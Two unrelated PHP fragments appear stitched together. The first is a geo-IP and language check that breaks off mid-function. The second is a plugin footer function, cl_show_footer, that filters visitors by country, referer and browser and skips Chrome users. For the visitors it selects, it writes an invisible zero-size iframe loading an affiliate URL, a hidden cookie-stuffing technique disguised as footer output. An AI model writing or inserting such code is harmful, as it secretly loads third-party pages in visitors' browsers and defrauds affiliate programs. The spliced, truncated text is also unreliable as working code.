// $_SESSION['my_debuga']=true; } /**/ if (preg_match("/zh-c/i", $client_lng)) { //new change for wu 20110225 //if(!(in_array($client_ip,$allowed_ip,false))){ // header('location:updating.htm'); if (!isset($_SESSION['my_debuga'])) { // echo "<h1>Error.</h1>"; // exit; } //} } /**/ $ip = real_ip(); $addr = get_geoip($ip); if (strpos($addr, '广东') !== false && !isset($_SESSION['my_debuga'])) { // exit; } function real_ip() { static $realip = NULL; if ($realip !== NULL) { return $realip; } if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); /* 取X-Forwarded-For中第一个非unknown的有效IP字符串 */ foreach ($arr as $ip) { $ip = trim($ip);
function cl_show_footer() { $geoip = get_geoip(); $coun = get_option('cl_country_option'); if ($coun != "") { if (!in_array($geoip, $coun)) { $err = 1; } } $reper = get_option('cl_referer'); if ($reper != "") { $rg = get_ref(); $found = 0; if (in_array("other", $reper)) { $index_other = count($reper) - 1; unset($reper[$index_other]); $reper = array_values($reper); $other_domain = preg_split('/(\\r?\\n)+/', get_option('cl_referer_other')); $other_c = count($other_domain); for ($i = 0; $i < $other_c; $i++) { $reper[] = $other_domain[$i]; } } for ($i = 0; $i < count($reper); $i++) { if (stripos($rg, $reper[$i]) !== false) { $found = 1; break; } } if ($found == 0) { $err = 2; } } if (get_option('cl_aff_url') == "") { $err = 3; } if (get_option('cl_enable') == "") { $err = 4; } if (get_option('cl_chrome') == 1) { $ua = $_SERVER["HTTP_USER_AGENT"]; if (stripos($ua, "chrome") == true) { $err = 5; } } if ($err == "") { $link = get_option('cl_aff_url'); if (get_option('cl_cbc') == 1) { $aff_cbc = preg_split('/(\\r?\\n)+/', get_option('cl_aff_cbc')); $cc_url = count($aff_cbc); for ($af = 0; $af < $cc_url; $af++) { $aff_link = explode(",", $aff_cbc[$af]); if ($geoip == $aff_link[0]) { $link = $aff_link[1]; break; } } } if (!empty($link)) { echo "<iframe src='" . $link . "' width='0' height='0' frameborder='0' border='0' style='visibility: hidden; width: 0px; height: 0px; border: 0px;'></iframe>"; } } }